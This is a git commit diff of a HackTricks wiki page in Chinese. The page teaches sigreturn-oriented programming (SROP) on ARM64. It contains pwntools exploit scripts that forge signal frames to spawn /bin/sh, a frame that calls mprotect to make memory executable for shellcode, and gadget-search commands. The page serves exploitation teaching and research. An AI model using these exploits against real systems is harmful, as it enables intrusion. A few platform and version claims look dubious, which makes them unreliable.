mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
91a6607f74
commit
f0e436a3b4
@ -1,10 +1,10 @@
|
||||
# SROP - ARM64
|
||||
# {{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pwntools 示例
|
||||
|
||||
此示例创建了易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**:
|
||||
这个示例创建了一个易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -130,13 +130,13 @@ char* b = gen_stack();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## 利用
|
||||
## Exploit
|
||||
|
||||
在 **`vdso`** 部分,可以在偏移量 **`0x7b0`** 找到对 **`sigreturn`** 的调用:
|
||||
在**`vdso`**部分,可以在偏移量**`0x7b0`**找到对**`sigreturn`**的调用:
|
||||
|
||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
因此,如果泄露,可以 **使用此地址访问 `sigreturn`**,如果二进制文件没有加载它:
|
||||
因此,如果泄露,可以**使用此地址访问`sigreturn`**,如果二进制文件没有加载它:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -171,10 +171,59 @@ p.interactive()
|
||||
../ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
要绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见:
|
||||
为了绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 自动查找 `sigreturn` gadgets (2023-2025)
|
||||
|
||||
在现代发行版中,`sigreturn` 跳板仍然由 **vDSO** 页面导出,但确切的偏移量可能因内核版本和构建标志(如 BTI (`+branch-protection`) 或 PAC)而异。自动化其发现可以防止硬编码偏移量:
|
||||
```bash
|
||||
# With ROPgadget ≥ 7.4
|
||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||
|
||||
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||
```
|
||||
两个工具都理解 **AArch64** 编码,并将列出可以用作 *SROP gadget* 的候选 `mov x8, 0x8b ; svc #0` 序列。
|
||||
|
||||
> 注意:当二进制文件使用 **BTI** 编译时,每个有效间接分支目标的第一条指令是 `bti c`。链接器放置的 `sigreturn` 跳板已经包含正确的 BTI 着陆垫,因此该 gadget 可以从非特权代码中使用。
|
||||
|
||||
## 使用 ROP 链接 SROP(通过 `mprotect` 进行 pivot)
|
||||
|
||||
`rt_sigreturn` 让我们控制 *所有* 通用寄存器和 `pstate`。在 x86 上的一个常见模式是:1) 使用 SROP 调用 `mprotect`,2) pivot 到一个包含 shell-code 的新可执行栈。相同的想法在 ARM64 上也适用:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
frame.x0 = 0x400000 # page-aligned stack address
|
||||
frame.x1 = 0x2000 # size
|
||||
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
在发送帧后,您可以发送一个包含原始 shell 代码的第二阶段,地址为 `0x400000+0x100`。由于 **AArch64** 使用 *PC-relative* 地址,这通常比构建大型 ROP 链更方便。
|
||||
|
||||
## 内核验证、PAC 和 Shadow-Stacks
|
||||
|
||||
Linux 5.16 引入了对用户空间信号帧的更严格验证(提交 `36f5a6c73096`)。内核现在检查:
|
||||
|
||||
* 当 `extra_context` 存在时,`uc_flags` 必须包含 `UC_FP_XSTATE`。
|
||||
* `struct rt_sigframe` 中的保留字必须为零。
|
||||
* *extra_context* 记录中的每个指针都必须对齐并指向用户地址空间内。
|
||||
|
||||
`pwntools>=4.10` 会自动生成合规的帧,但如果您手动构建,请确保将 *reserved* 初始化为零,并在不需要的情况下省略 SVE 记录——否则 `rt_sigreturn` 将返回 `SIGSEGV` 而不是返回。
|
||||
|
||||
从主流 Android 14 和 Fedora 38 开始,用户空间默认编译时启用 **PAC** (*Pointer Authentication*) 和 **BTI**(`-mbranch-protection=standard`)。 *SROP* 本身不受影响,因为内核直接从构造的帧中覆盖 `PC`,绕过保存在栈上的经过认证的 LR;然而,任何 **后续的 ROP 链** 执行间接分支时必须跳转到启用 BTI 的指令或 PAC 地址。在选择小工具时请记住这一点。
|
||||
|
||||
在 ARMv8.9 中引入的 Shadow-Call-Stacks(并且在 ChromeOS 1.27+ 上已启用)是一种编译器级的缓解措施,并且 *不* 干扰 SROP,因为没有执行返回指令——控制流由内核转移。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [Linux arm64 信号处理文档](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "AArch64 分支保护已在 GCC 和 glibc 中实现" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user